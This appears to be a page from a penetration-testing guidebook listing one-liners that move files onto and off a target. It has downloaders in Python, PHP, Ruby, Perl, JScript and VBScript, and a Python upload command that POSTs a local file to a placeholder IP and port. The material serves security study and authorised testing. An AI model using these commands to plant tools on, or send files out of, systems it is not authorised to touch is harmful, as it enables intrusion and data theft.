Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • Download
  • Python2
  • Python3
  • PHP
  • Ruby
  • Perl
  • JavaScript
  • VBScript
  • Upload
  • Python3
  • Etc.

Was this helpful?

  1. Utility
  2. Transferring File

Code

Download

Python2

python2.7 -c 'import urllib;urllib.urlretrieve ("<URL_FILE>", "<NEW_NAME>")'

Python3

python3 -c 'import urllib.request;urllib.request.urlretrieve("<URL_FILE>", "<NEW_NAME>")'

PHP

php -r '$file = file_get_contents("<URL_FILE>"); file_put_contents("<NEW_NAME>",$file);'

Ruby

ruby -e 'require "net/http"; File.write("<NEW_NAME>", Net::HTTP.get(URI.parse("<URL_FILE>")))'

Perl

perl -e 'use LWP::Simple; getstore("<URL_FILE>", "<NEW_NAME>");'

JavaScript

download.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); 
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); 
WinHttpReq.Send(); 
BinStream = new ActiveXObject("ADODB.Stream"); 
BinStream.Type = 1; 
BinStream.Open(); 
BinStream.Write(WinHttpReq.ResponseBody); 
BinStream.SaveToFile(WScript.Arguments(1));
cscript.exe /nologo download.js <URL_FILE> <NEW_NAME>

VBScript

download.vbs
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") 
dim bStrm: Set bStrm = createobject("Adodb.Stream") 
xHttp.Open "GET", WScript.Arguments.Item(0), False 
xHttp.Send 

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2 
end with
cscript.exe /nologo download.vbs <URL_FILE> <NEW_NAME>

Upload

Python3

python3 -c 'import requests;requests.post("http://<IP>:<PORT>/<DIR>",files={"files":open("<FILE>","rb")})'

Etc.

It is possible with all the other languages in the download section but also others.

Last updated 8 months ago

Was this helpful?

Set (and self-signed certificate).

Server Python3 with Upload Option